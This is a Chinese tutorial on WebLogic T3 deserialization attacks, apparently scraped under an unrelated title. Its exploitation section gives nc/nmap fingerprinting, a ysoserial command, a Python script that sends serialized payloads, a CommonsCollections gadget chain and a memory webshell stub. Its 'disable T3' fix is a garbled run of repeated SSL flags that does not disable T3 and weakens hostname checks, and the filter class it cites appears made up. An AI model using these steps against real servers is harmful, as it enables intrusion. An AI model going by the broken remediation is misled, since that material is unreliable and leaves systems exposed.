注入起手联想启发Web收菜之旅
字数 2310
更新时间 2026-03-27 13:45:02

从零开始学习Weblogic T3协议与反序列化漏洞的挖掘与利用

1. 什么是Weblogic T3协议

T3协议是Oracle WebLogic Server用于在集群环境中进行内部通信的专有协议。它建立在TCP/IP之上,主要用于服务器与托管服务器、管理服务器、控制台等组件之间的通信。T3协议具备以下特点:

  • 支持异步请求/响应通信模型
  • 支持双向通信
  • 内置负载均衡、容错机制
  • 支持对象序列化传输

默认情况下,Weblogic T3协议的监听端口为7001,与HTTP服务端口相同,但走的是不同的协议处理流程。

2. T3协议漏洞的核心原理

T3协议漏洞的核心在于不安全的对象反序列化。攻击者可以通过T3协议向WebLogic服务器发送恶意的序列化对象,当服务器反序列化这些对象时,会触发恶意代码执行。

2.1 反序列化机制

WebLogic在T3协议的实现中使用了Java的原生序列化机制。当服务器接收到T3协议数据时:

  1. 解析T3协议头
  2. 提取序列化的Java对象
  3. 调用ObjectInputStream.readObject()方法反序列化对象
  4. 在反序列化过程中,会调用对象的readObject()方法

2.2 漏洞利用链

要成功利用T3反序列化漏洞,需要满足以下条件:

  1. 存在可利用的gadget chain(利用链)
  2. 利用链中的类存在于目标服务器的classpath中
  3. 目标服务器开放T3协议服务

3. 漏洞挖掘流程与方法

3.1 信息收集阶段

  1. 端口扫描:确认目标是否开放7001端口

    nmap -sV -p 7001 目标IP
    
  2. 协议识别:确认T3服务是否可用

    echo -e "t3 12.2.3\nAS:255\nHL:19\n\n" | nc 目标IP 7001
    
  3. 版本识别:通过返回信息判断WebLogic版本

    • 12.x版本:HELO:12.2.1.3.0.false
    • 10.x版本:HELO:10.3.6.0.false

3.2 漏洞探测阶段

  1. 使用现有工具检测

    • ysoserial:生成各种gadget的payload
    • weblogicScanner:自动化检测工具
    • T3协议反序列化检测脚本
  2. 手工检测方法

    • 发送恶意序列化对象观察响应
    • 通过DNSLOG、HTTPLOG等方式验证反序列化触发

3.3 Gadget Chain分析

常见的有漏洞的组件和gadget chain包括:

3.3.1 Common Collections链

// 基于CommonsCollections的利用链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("invoke", ...),
    new InvokerTransformer("exec", ...)
};

3.3.2 Jdk7u21链

利用JDK内部的sun.reflect.annotation.AnnotationInvocationHandlerLinkedHashSet构造利用链。

3.3.3 CVE-2018-2628

Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1, 12.2.1.2版本的T3协议反序列化漏洞。

4. 漏洞利用实战

4.1 环境搭建

  1. 漏洞环境准备

    • 下载有漏洞的WebLogic版本(如10.3.6.0)
    • 安装JDK 1.7或1.8
    • 配置WebLogic域
  2. 工具准备

    # 安装Java反序列化利用框架
    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn clean package -DskipTests
    

4.2 利用步骤

  1. 生成payload

    # 使用ysoserial生成CommonsCollections1的payload
    java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
    
  2. 构造T3协议数据包

    import socket
    import struct
    
    def build_t3_payload(serialized_data):
        # T3协议头
        t3_header = "t3 12.2.3\nAS:255\nHL:19\n\n"
    
        # 构造完整payload
        payload = t3_header.encode()
        payload += serialized_data
    
        return payload
    
  3. 发送恶意payload

    def exploit(target_ip, target_port, payload):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)
            sock.connect((target_ip, target_port))
    
            # 发送payload
            sock.send(payload)
    
            # 接收响应
            response = sock.recv(1024)
            print(f"Response: {response}")
    
            sock.close()
            return True
    
        except Exception as e:
            print(f"Exploit failed: {e}")
            return False
    

4.3 内存马注入

除了执行系统命令,还可以注入内存WebShell:

  1. 冰蝎内存马

    // 基于Filter的内存马
    public class MemoryShell implements Filter {
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
            // 恶意代码逻辑
            if (req.getParameter("cmd") != null) {
                // 执行命令
            }
        }
    }
    
  2. 哥斯拉内存马

    • 基于JSP的加密内存WebShell
    • 支持多种加密方式
    • 功能更全面的管理界面

5. 防御与修复方案

5.1 临时防护措施

  1. 禁用T3协议

    # 修改WebLogic配置
    # 在setDomainEnv.sh中添加
    JAVA_OPTIONS="-Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.allowCryptoJDefaultJCEVerification=true -Dweblogic.security.allowCryptoJDefaultPRNG=true -Dweblogic.security.SSL.minimumProtocolVersion=TLSv1.2 -Dweblogic.security.SSL.enforceConstraints=on -Dweblogic.security.SSL.hostnameVerifier=none -Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.SSL.trustedCAKeyStore=/path/to/truststore -Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.SSL.ignoreHostnameVerification=true"
    
  2. 配置访问控制

    <!-- 在WebLogic控制台配置T3协议访问控制 -->
    <network-access-point>
      <name>T3ProtocolFilter</name>
      <protocol>t3</protocol>
      <listen-address>localhost</listen-address>
    </network-access-point>
    
  3. 使用防火墙限制

    # 只允许特定IP访问7001端口
    iptables -A INPUT -p tcp --dport 7001 -s 可信IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 7001 -j DROP
    

5.2 永久修复方案

  1. 及时安装官方补丁

    • 关注Oracle官方安全公告
    • 定期更新WebLogic版本
    • 应用最新的PSU(Patch Set Update)
  2. 升级到安全版本

    • WebLogic 12.2.1.4.0及以上
    • WebLogic 14.1.1.0.0及以上
  3. 使用WebLogic T3协议过滤

    // 实现自定义的T3协议过滤器
    public class T3ProtocolFilter implements weblogic.rjvm.MsgAbbrevJVMConnection.ProtocolFilter {
        public boolean allow(Object obj) {
            // 检查反序列化的类是否在白名单中
            return isClassAllowed(obj.getClass());
        }
    }
    

5.3 安全加固建议

  1. 网络层防护

    • 将WebLogic部署在内网
    • 使用反向代理(如Nginx)对外提供服务
    • 配置WAF防护规则
  2. 应用层防护

    • 使用Java Security Manager
    • 配置反序列化过滤器
    • 移除不必要的依赖包
  3. 监控与检测

    • 监控异常的T3协议请求
    • 部署RASP进行运行时防护
    • 定期进行安全扫描

6. 工具与资源

6.1 常用工具

  1. 检测工具

    • weblogicScanner
    • T3ProtocolExploit
    • WeblogicExploitGUI
  2. 利用工具

    • ysoserial
    • marshalsec
    • JNDI-Injection-Exploit
  3. 分析工具

    • JD-GUI:Java反编译工具
    • Burp Suite:协议分析
    • Wireshark:流量分析

6.2 学习资源

  1. 官方文档

    • Oracle WebLogic Server文档
    • Java序列化规范
  2. 安全公告

    • Oracle Critical Patch Updates
    • CVE漏洞数据库
    • 安全厂商漏洞通告
  3. 实践环境

    • Vulhub漏洞环境
    • WebLogic漏洞复现环境
    • CTF题目与Writeup

7. 法律与道德声明

  1. 授权测试:仅在获得明确授权的情况下进行安全测试
  2. 最小影响:测试过程中避免对业务系统造成影响
  3. 保密义务:对测试过程中获取的敏感信息保密
  4. 遵守法律:严格遵守《网络安全法》等相关法律法规

文档未详述此点,但基于我所掌握的知识:在实际漏洞挖掘和利用过程中,需要特别注意Java版本、WebLogic版本、以及依赖库版本的兼容性问题。不同版本的利用链可能存在差异,需要根据目标环境调整利用方案。同时,随着Java安全机制的不断加强,很多传统的利用方式在新版本JDK中可能失效,需要研究新的绕过技术。

相似文章
相似文章
 全屏